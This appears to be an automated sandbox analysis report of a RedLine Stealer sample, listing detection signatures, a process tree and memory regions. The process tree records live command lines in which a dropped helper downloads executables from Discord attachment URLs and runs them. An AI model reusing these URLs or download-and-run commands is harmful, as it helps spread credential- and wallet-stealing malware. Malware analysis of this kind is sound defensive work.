Analysis

  • max time kernel
    83s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    31/07/2021, 03:23

General

  • Target
    08ddca87b625734e0028a89fd4ec7247.exe
  • Size 98KB
  • Sample210731-rynmvce2ts
  • SHA256 6da210965cd769856bbcb8bb501abf25c832f0f6a70e73240436629ce6362fa9
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\08ddca87b625734e0028a89fd4ec7247.exe
    "C:\Users\Admin\AppData\Local\Temp\08ddca87b625734e0028a89fd4ec7247.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:992
    • C:\Users\Admin\AppData\Local\Temp\mine.exe
      "C:\Users\Admin\AppData\Local\Temp\mine.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\DBB2.bat C:\Users\Admin\AppData\Local\Temp\mine.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:576
        • C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:664
        • C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:4036
        • C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626065511501945/welldone.exe" "welldone.exe" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:1144
        • C:\Users\Admin\AppData\Local\Temp\25918\welldone.exe
          welldone.exe
          4⤵
          • Executes dropped EXE
          PID:632
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 632 -s 1072
            5⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4068
        • C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DBB0.tmp\DBB1.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:3164
    • C:\Users\Admin\AppData\Local\Temp\clip.exe
      "C:\Users\Admin\AppData\Local\Temp\clip.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:508
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\DC4E.bat C:\Users\Admin\AppData\Local\Temp\clip.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1836
        • C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:3164
        • C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:1496
        • C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626071547097128/clo.exe" "clo.exe" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:2664
        • C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
          clo.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1852
          • C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
            C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
            5⤵
            • Executes dropped EXE
            PID:3544
          • C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
            C:\Users\Admin\AppData\Local\Temp\25918\clo.exe
            5⤵
            • Executes dropped EXE
            PID:1140
        • C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe
          C:\Users\Admin\AppData\Local\Temp\DC4C.tmp\DC4D.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
          4⤵
          • Executes dropped EXE
          PID:2268

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/632-164-0x00000000000B0000-0x00000000000B1000-memory.dmp

        memory/992-121-0x0000000004C50000-0x0000000004C51000-memory.dmp

        memory/992-119-0x0000000004940000-0x0000000004941000-memory.dmp

        memory/992-127-0x00000000063D0000-0x00000000063D1000-memory.dmp

        memory/992-116-0x0000000004E80000-0x0000000004E81000-memory.dmp

        memory/992-126-0x0000000006E90000-0x0000000006E91000-memory.dmp

        memory/992-117-0x00000000048A0000-0x00000000048A1000-memory.dmp

        memory/992-125-0x0000000006070000-0x0000000006071000-memory.dmp

        memory/992-124-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

        memory/992-118-0x0000000004900000-0x0000000004901000-memory.dmp

        memory/992-128-0x0000000007B20000-0x0000000007B21000-memory.dmp

        memory/992-123-0x0000000006460000-0x0000000006461000-memory.dmp

        memory/992-120-0x0000000004870000-0x0000000004E76000-memory.dmp

        memory/992-122-0x0000000005D60000-0x0000000005D61000-memory.dmp

        memory/992-114-0x0000000000090000-0x0000000000091000-memory.dmp

        memory/1140-171-0x0000000000400000-0x0000000000405000-memory.dmp

        memory/1140-174-0x0000000000400000-0x0000000000405000-memory.dmp

        memory/1852-158-0x00000000000C0000-0x00000000000C1000-memory.dmp

        memory/1852-169-0x0000000004AF0000-0x0000000004AF1000-memory.dmp